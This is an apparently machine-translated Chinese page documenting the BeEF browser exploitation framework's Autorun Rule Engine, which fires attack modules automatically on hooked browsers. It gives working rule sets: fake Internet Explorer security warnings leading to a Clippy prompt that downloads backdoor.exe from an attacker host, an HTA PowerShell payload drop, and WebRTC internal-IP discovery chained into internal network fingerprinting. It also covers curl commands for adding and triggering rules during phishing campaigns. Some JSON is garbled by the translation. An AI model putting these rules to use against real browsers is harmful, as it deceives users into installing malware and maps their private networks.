BeEF 自动运行规则引擎
介绍
自动运行规则引擎(ARE)是BeEF的核心组件,它允许您定义在满足某些条件时在挂钩的浏览器中自动触发的规则。
如果您是BeEF的狂热爱好者,您可能已经等了很长时间了:-)旧的静态自动运行功能已被删除。新ARE的主要功能如下:
- 动态:
<beef_root>/arerules/enabled
在启动时从目录中预加载规则,或者在BeEF运行时在运行时加载它们,然后在每个已挂接的浏览器上触发它们。- RESTful API调用将在后面详细介绍。
- 非侵入式:
- 命令模块现在支持返回执行状态和结果数据(可用于链接)。
- 这不需要大量的重构,只需对API进行一些智能的更改即可。
- 默认情况下,不适用于以嵌套前向链接模式运行的命令模块返回UNKNOWN状态。您仍然可以使用顺序链接模式启动它们。
- 如果需要将模块的输出/输入链接起来,则如果规则处于嵌套转发链接模式(在此后面有更多介绍),则需要向命令模块添加一两行防呆JavaScript。
匹配
成功挂接后,ARE会检查core_arerules表中存在的任何规则集是否与挂接的浏览器匹配。检查了各种挂钩的浏览器属性:
- 浏览器类型和版本
- 操作系统类型和版本
- (WIP)插件类型/版本
- (WIP)OS架构
匹配示例
仅在OSX Yosemite或更低版本的Safari浏览器> = 7上触发。
{
"browser": "S",
"browser_version": ">= 7",
"os": "OSX",
"os_version": "<= 10.10"
}
仅在Windows 7或更高版本的Internet Explorer(任何版本)上触发。
{
“ browser”:“ IE” ,
“ browser_version”:“ ALL” ,
“ os”:“ Windows” ,
“ os_version”:“> = 7”
}
仅在任何Linux系统上的Firefox(至少31版)上触发。
{
“ browser”:“ FF” ,
“ browser_version”:“> = 31” ,
“ os”:“ Linux” ,
“ os_version”:“ ALL”
}
以下是ARE支持的允许的浏览器/操作系统类型和版本:
浏览器 = [ 'FF' ,'C' ,'IE' ,'S' ,'O' ,'ALL' ]
OS = [ 'Linux' ,'Windows' ,'OSX' ,'Android' ,'iOS' ,'BlackBerry' ,'ALL' ]
VERSION = [ '<' ,'<=' ,'==' ,'> =' ,'>' ,'ALL' ,'Vista' ,'XP' ]
查看browser.js
和os.js
(在中找到<beef_root>/core/main/client
)以确切了解所支持的内容。
链接模式
当前有两种实现的链接模式,它们可以满足您的大多数客户端需求。
顺序的
调用具有不同可配置时间延迟的N个模块。顺序模式将模块主体包装在其自身的函数中,setTimeout()
如果指定了时间,则使用它们进行延时调用。执行顺序也可用于让您以有组织的方式在JSON文件中写下模块,然后以不同的顺序调用它们。
请注意,未检查模块执行状态,并且结果将被忽略。如果只想启动某些模块而不用担心它们的状态,则很有用(例如,一组目标上的一堆盲目的XSRF)。此外,如稍后所述,此链接模式允许您启动尚未为BeEF ARE准备的N个模块(即,它们不返回有关执行状态或结果数据的信息)。
结果包装器是这样的:
setTimeout (module_one (), 0 );
setTimeout (module_two (), 2000 );
setTimeout (module_three (), 3000 );
顺序链接示例
显示虚假通知
在Windows 7或更高版本上仅定位IE> = 10的IE,然后在2秒后使用预先安装在BeEF中的自定义仅限Windows的吸管调用Clippy模块。
{
"name": "Ie Fake Notification + Clippy",
"author": "antisnatchor",
"browser": "IE",
"browser_version": ">= 10",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
}
}
,{
"name": "clippy",
"condition": null,
"options": {
"clippydir": "http://clippy.ajbnet.com/1.0.0/",
"askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
"executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
"respawntime":"5000",
"thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
}
}
],
"execution_order": [0,1],
"execution_delay": [0,2000],
"chain_mode": "sequential"
}
嵌套转发
调用N个模块,其中仅当N-1返回某个状态时才执行模块N。模块N可以将模块N-1的输出用作输入(最终在处理它之前先对其进行处理)。
嵌套转发模式将模块主体包装在它们自己的功能中,然后从第一个主体开始执行它们,轮询命令执行状态/结果(具有可配置的轮询间隔和超时)。在执行链中的第一个模块后,根据指定的模块条件,执行将继续或停止。
嵌套转发链接示例
仅当已知挂钩的浏览器内部IP时,才链接内部网络指纹活动
两个模块链接在一起:get_internal_ip_webrtc
和internal_network_fingerprinting
。
{
“ modules”:[
{ “ name”:“ get_internal_ip_webrtc” ,
“ condition”:null ,
“ code”:null ,
“ options”:{ }
} ,
{ “ name”:“ internal_network_fingerprinting” ,
“ condition”:“ status == 1“ ,
” code“:” var s = get_internal_ip_webrtc_mod_output.split('。'); var start = parseInt(s [3])-1; var end = parseInt(s [3])+ 1; var mod_input = s [0] +'。'+ s [1] +'。'+ s [2] +'。'+ start +'-'+ s [0] +'。'+ s [1] +'。'+ s [2] +'。'+ end;“ ,
” options“:{
“ ipRange”:“ << mod_input >>” ,
“ ports”:“ 80” ,
“ threads”:“ 5” ,
“ wait”:“ 2” ,
“ timeout”:“ 10”
}
}
]] ,
“ execution_order”:[ 0 ,1 ] ,
“execution_delay” :[ 0 , 0 ] ,
“chain_mode” : “nested-forward”
}
为此规则创建的包装将类似于:
module_one()
if condition
/* input for the second module is the IP retrieved via the first module,
* with code() executed before calling the function
*/
code()
module_two(module_one_output)
这也是第二个模块输入期望与第一个模块输出不同的情况之一,因此我们需要一种更改模块输出的方法。code属性允许您指定任意JavaScript(无多行,仅一行)。
在这种情况下,我们假设第一个模块的输出为172.16.35.2
。但是,第二个模块需要一个类似以下的输入:(start_ip-stop_ip
即172.16.35.1-172.16.35.3
)用于内部网络指纹识别。
以下是第二个模块的代码属性值:
var s = get_internal_ip_webrtc_mod_output.split('.');
var start = parseInt(s[3])-1;
var end = parseInt(s[3])+1;
var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;
如您所见,它是防呆的。这里有几件事要注意:
- 条件:
- 如果只想继续执行,则值为null。或者,您可以检查以前的命令模块执行状态:
status==1 // continue if previous module execution status is success
status==0 // continue if previous module execution status is unknown
status==-1 // continue if previous module execution status is error
- 码:
- 如上所示的任意JavaScript。
- 使用
<<mod_input>>
如在规则集(如命令模块选件(输入)"ipRange":"<<mod_input>>"
),并确保你声明var mod_input='something';
的代码属性值的变量。 - 您可以使用
<command_module_name>_mod_output
(get_internal_ip_webrtc_mod_output
在上一个示例中)引用前一个模块的输出。 - 请注意,
get_internal_ip_webrtc
BeEFcommand.js
已修改为返回执行状态和结果数据(内部IP):
get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")];
/*
* Generic syntax:
* <module_name>_mod_output = [beef.are.status_success(), module_result_data];
* beef.are.status_success() -> status 1
* beef.are.status_unknown() -> status 0
* beef.are.status_error() -> status -1
*/
由于大多数命令模块都是异步的,这意味着它们可能会在不确定的时间内返回,因此有必要每X毫秒轮询一次命令状态/结果,直到指定的超时为止。这是自动处理的,可以在主BeEF config.yaml
文件中指定轮询/超时值:
# Autorun Rule Engine
autorun:
# this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
# to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
# continue execution regardless of results.
# If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
result_poll_interval: 300
result_poll_timeout: 5000
# If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
# This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
continue_after_timeout: true
RESTful API
为了更轻松地与其他工具或您自己的自定义脚本集成,RESTful API端点也可用于ARE。
添加规则
规则集(ie_win_htapowershell.json
):
{
"name": "HTA PowerShell",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "ALL",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
}
},
{
"name": "hta_powershell",
"condition": null,
"options": {
"domain":"http://172.16.45.1:3000",
"ps_url":"/ps"
}
}],
"execution_order": [0,1],
"execution_delay": [0,500],
"chain_mode": "sequential"
}
要将其添加到BeEF中,请使用以下cURL请求:
curl -H "Content-Type: application/json; charset=UTF-8" --data "@ie_win_htapowershell.json" -X POST http://172.16.45.1:3000/api/autorun/rule/add?token=xyz
如果操作成功,则将返回rule_id,以便与其他API调用一起使用。
触发规则
默认情况下,成功挂钩浏览器后,规则仅触发一次。但是,在某些情况下,您需要添加然后立即触发规则集。
例如,您在网络钓鱼活动中预先加载了5条规则,但其中没有一条适用于Android。同时,您会发现许多新吸引的Android目标。ARE足够灵活,可以让您(在运行时)添加新规则,然后在需要使用已摘机的浏览器时触发它们。
在最后一个示例之后,假设新添加的规则的ID为1,则可以使用以下请求在每个在线挂钩的浏览器上触发它:
curl http://172.16.45.1:3000/api/autorun/rule/trigger/1?token=xyz
删除规则
这是不言而喻的;-)
curl http://172.16.45.1:3000/api/autorun/rule/delete/1?token=xyz
清单规则
如果您需要使用JSON检索规则定义数据,则可以通过两种方式进行:
通过ID(此处的ID为1)获取特定的规则集:
curl http://172.16.45.1:3000/api/autorun/rule/list/1?token=xyz
获取数据库中的所有规则集:
curl http://172.16.45.1:3000/api/autorun/rule/list/all?token=xyz
如果成功,这两个调用将返回类似以下内容:
{
"success": true,
"rules": [
{
"id": 2,
"name": "HTA PowerShell",
...
},
{
"id": 3,
"name": "Get Internal IP (WebRTC)",
...
}
]
}
规则范例
ARE不断发展,因此在不久的将来可能会有更多的规则集。所有公共规则集都将在BeEF主存储库内<beef_root>/arerules
。
推荐文章: